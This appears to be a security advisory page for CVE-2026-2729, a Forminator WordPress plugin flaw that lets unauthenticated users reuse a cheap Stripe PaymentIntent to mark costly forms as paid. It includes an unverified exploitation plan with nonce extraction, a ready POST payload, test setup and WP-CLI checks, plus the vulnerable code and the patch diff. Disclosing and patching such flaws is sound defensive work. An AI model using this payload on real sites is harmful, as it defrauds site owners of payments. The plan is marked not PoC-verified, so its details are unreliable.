CVE-2026-2729

Forminator – Contact Form, Payment Form & Custom Form Builder <= 1.52.0 - Missing Authorization to Unauthenticated Stripe PaymentIntent Reuse / Underpayment Bypass via 'paymentid' Parameter

mediumAuthorization Bypass Through User-Controlled Key
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.52.1
Patched in
1d
Time to patch

Description

The Forminator plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.52.0. This is due to the plugin not properly verifying that a user is authorized to perform an action when processing attacker-supplied Stripe PaymentIntent identifiers in the public payment flow. This makes it possible for unauthenticated attackers to submit high-value paid forms as completed by reusing a previously succeeded low-value Stripe PaymentIntent, resulting in underpayment/payment bypass conditions.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.52.0
PublishedMay 4, 2026
Last updatedMay 5, 2026
Affected pluginforminator

What Changed in the Fix

Changes introduced in v1.52.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2729 (Forminator Underpayment Bypass) ## 1. Vulnerability Summary The **Forminator** plugin (<= 1.52.0) contains an authorization bypass vulnerability in its Stripe payment processing logic. When a user submits a form requiring a payment, the plugin accepts a …

Show full research plan

Exploitation Research Plan: CVE-2026-2729 (Forminator Underpayment Bypass)

1. Vulnerability Summary

The Forminator plugin (<= 1.52.0) contains an authorization bypass vulnerability in its Stripe payment processing logic. When a user submits a form requiring a payment, the plugin accepts a Stripe PaymentIntent ID via the paymentid parameter. The server-side code verifies with Stripe that this ID represents a successful payment but fails to verify that the PaymentIntent was created for the specific form being submitted or that the amount matches the form's requirements. This allows an attacker to reuse a successful PaymentIntent from a low-value transaction to "pay" for a high-value transaction.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: forminator_submit_form_custom-forms (verified via Forminator_CForm_Front_Action::$module_slug and parent class logic).
  • Vulnerable Parameter: paymentid (within the POST data).
  • Authentication: Unauthenticated (the plugin uses wp_ajax_nopriv_ for form submissions).
  • Preconditions:
    1. A Forminator form must be published with a Stripe field enabled.
    2. The attacker must possess a valid, successful Stripe PaymentIntent ID (pi_...) from a previous transaction on the same site.

3. Code Flow

  1. Entry Point: A POST request is sent to admin-ajax.php with action=forminator_submit_form_custom-forms.
  2. AJAX Handling: Forminator_Front_Action::handle_form_submit() is triggered.
  3. Data Preparation: The plugin calls Forminator_CForm_Front_Action::get_prepared_data().
  4. Payment Processing: If a Stripe field is present, the plugin checks for the paymentid parameter.
  5. Verification (Sink): The plugin uses Forminator_Gateway_Stripe::get_payment_intent( $payment_id ) to fetch the status from Stripe.
  6. The Flaw: In library/fields/stripe.php (and related processing logic), if the Stripe API returns a succeeded status for the provided paymentid, the plugin treats the form as paid. It lacks a check to ensure payment_intent->amount matches the form's calculated price or that the payment_intent->metadata associates it with the current form submission.

4. Nonce Acquisition Strategy

Forminator requires a specific nonce for form submissions: forminator_submit_form{form_id}.

Strategy:

  1. Identify Form ID: Determine the target form's ID (e.g., 123).
  2. Create/Visit Page: Create a page containing the target form's shortcode: [forminator_form id="123"].
  3. Extract via Browser:
    • Navigate to the page using browser_navigate.
    • Forminator localizes its configuration in a global JavaScript object.
    • Execute browser_eval to extract the nonce:
      // Forminator 1.52.0 typically stores nonces in ForminatorFrontConfig
      window.ForminatorFrontConfig?.[ "forminator_submit_form123" ] || 
      window.forminator_front_condition?.nonce
      
    • Specifically, the nonce is often found in ForminatorFrontConfig under the key forminator_submit_form{id}.

5. Exploitation Strategy

Step 1: Obtain a "Sacrificial" PaymentIntent

An attacker first completes a legitimate, low-value transaction (e.g., $1.00) on a form they are authorized to use. They capture the pi_... ID returned by Stripe in the browser's network tab or via the form submission payload.

Step 2: Formulate the Underpayment Request

Target a high-value form (e.g., $500.00).

Request Details:

  • URL: http://target-site.com/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=forminator_submit_form_custom-forms
    form_id=200
    _wp_http_referer=/high-value-form/
    forminator_nonce=[NONCE_OBTAINED_IN_STEP_4]
    stripe-payment-intent-id=[LOW_VALUE_PI_ID]
    paymentid=[LOW_VALUE_PI_ID]
    # Include other required form fields based on the form's structure
    name-1=Attacker
    email-1=attacker@example.com
    

Step 3: Execution

Send the request using http_request. If successful, Forminator will process the entry as "Paid" because the Stripe API confirms pi_... is succeeded.

6. Test Data Setup

  1. Configure Stripe: Ensure Forminator is connected to Stripe (Test Mode).
  2. Create Low-Value Form (ID: 1):
    • Add a Stripe field.
    • Set amount to "Fixed": 1.00.
    • Note the ID.
  3. Create High-Value Form (ID: 2):
    • Add a Stripe field.
    • Set amount to "Fixed": 100.00.
    • Note the ID.
  4. Publish: Place both forms on public pages using shortcodes.
  5. Generate PI: Submit Form 1 legitimately (using Stripe test cards) to get a successful paymentid.

7. Expected Results

  • The HTTP response should contain "success":true and a success message (e.g., "Thank you for your payment").
  • The form submission for the high-value form (ID 2) will be recorded in the WordPress database.
  • The payment status for the entry in the Forminator dashboard will show as "Paid" or "Completed", even though only $1.00 was actually charged to Stripe.

8. Verification Steps

Use WP-CLI to inspect the generated entry:

  1. Find Entry ID:
    wp db query "SELECT entry_id FROM wp_forminator_entries WHERE form_id = 2 ORDER BY entry_id DESC LIMIT 1;"
  2. Verify Meta Data:
    wp db query "SELECT meta_key, meta_value FROM wp_forminator_custom_form_entries WHERE entry_id = [ENTRY_ID];"
  3. Check for 'payment_id': Ensure the meta_value for the payment-related key matches the pi_... ID provided in the exploit.
  4. Confirm Status: Check if the entry status is marked as finished/paid in the wp_forminator_entries table.

9. Alternative Approaches

  • Parameter Variation: If paymentid is not accepted directly, check if the value is pulled from stripe-intent or stripe-payment-intent-id inside the POST body, as different versions or form configurations might map the Stripe field to different internal keys.
  • Form ID Brute-forcing: If the target Form ID is unknown, use wp post list --post_type=forminator_forms to identify available forms and their associated price fields via wp post get [ID].
Research Findings
Static analysis — not yet PoC-verified

Summary

The Forminator plugin for WordPress is vulnerable to an authorization bypass where unauthenticated attackers can reuse a successful Stripe PaymentIntent ID from a previous low-value transaction to satisfy the payment requirements of a high-value form. This occurs because the plugin fails to verify that a provided PaymentIntent is uniquely associated with the specific form submission or hasn't been previously processed.

Vulnerable Code

/* library/fields/stripe.php:1130 */
private static function is_valid_payment_intent( $intent_id ): bool {
	if ( empty( Forminator_CForm_Front_Action::$info['stripe_field']['type'] )
			|| 'stripe-ocs' !== Forminator_CForm_Front_Action::$info['stripe_field']['type'] ) {
		return true;
	}
	$payment_intents = get_option( 'forminator_stripe_payment_intents', array() );

	if ( is_array( $payment_intents ) && in_array( $intent_id, $payment_intents, true ) ) {
		// Remove payment intent after handling it.
		add_action(
			'forminator_custom_form_mail_before_send_mail',
			function () use ( $intent_id ) {

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/forminator/1.52/library/fields/stripe.php /home/deploy/wp-safety.org/data/plugin-versions/forminator/1.52.1/library/fields/stripe.php
--- /home/deploy/wp-safety.org/data/plugin-versions/forminator/1.52/library/fields/stripe.php	2026-03-25 12:49:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/forminator/1.52.1/library/fields/stripe.php	2026-04-07 11:36:16.000000000 +0000
@@ -1128,16 +1128,12 @@
 	 * @return bool
 	 */
 	private static function is_valid_payment_intent( $intent_id ): bool {
-		if ( empty( Forminator_CForm_Front_Action::$info['stripe_field']['type'] )
-				|| 'stripe-ocs' !== Forminator_CForm_Front_Action::$info['stripe_field']['type'] ) {
-			return true;
-		}
 		$payment_intents = get_option( 'forminator_stripe_payment_intents', array() );
 
 		if ( is_array( $payment_intents ) && in_array( $intent_id, $payment_intents, true ) ) {
 			// Remove payment intent after handling it.
 			add_action(
-				'forminator_custom_form_mail_before_send_mail',
+				'forminator_after_handle_form',
 				function () use ( $intent_id ) {
 					$option_key      = 'forminator_stripe_payment_intents';
 					$payment_intents = get_option( $option_key, array() );
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/forminator/1.52/library/modules/custom-forms/front/front-action.php /home/deploy/wp-safety.org/data/plugin-versions/forminator/1.52.1/library/modules/custom-forms/front/front-action.php
--- /home/deploy/wp-safety.org/data/plugin-versions/forminator/1.52/library/modules/custom-forms/front/front-action.php	2026-03-25 12:49:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/forminator/1.52.1/library/modules/custom-forms/front/front-action.php	2026-04-07 11:36:16.000000000 +0000
@@ -1222,6 +1222,7 @@
 				$key                       = 'forminator_lead_object_temporary_storage_' . $random_id;
 				set_transient( $key, $entry, DAY_IN_SECONDS );
 			}
+			do_action( 'forminator_after_handle_form', $entry );
 		} catch ( Exception $e ) {
 			if ( ! empty( $delete_submission ) && ! empty( $entry->entry_id ) ) {
 				$entry->delete();

Exploit Outline

1. Identify a target high-value form (e.g., $500 product) on the vulnerable site and retrieve its required field names and the specific submission nonce (e.g., forminator_submit_form123). 2. Identify or create a low-value form (e.g., $1.00) on the same site. 3. Legitimately submit the low-value form using a valid payment method and capture the successful Stripe PaymentIntent ID (starting with 'pi_') from the network traffic or application response. 4. Craft a POST request to the WordPress AJAX endpoint (admin-ajax.php) with the action 'forminator_submit_form_custom-forms' and the target high-value form's ID. 5. Include the captured low-value PaymentIntent ID in the 'paymentid' and/or 'stripe-payment-intent-id' parameters of the submission. 6. The server-side code (in versions <= 1.52.0) will check the Stripe API and see that the provided PaymentIntent ID has 'succeeded', and because it fails to verify that the intent matches the current form's expected amount or form ID, it will mark the high-value submission as successfully paid.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.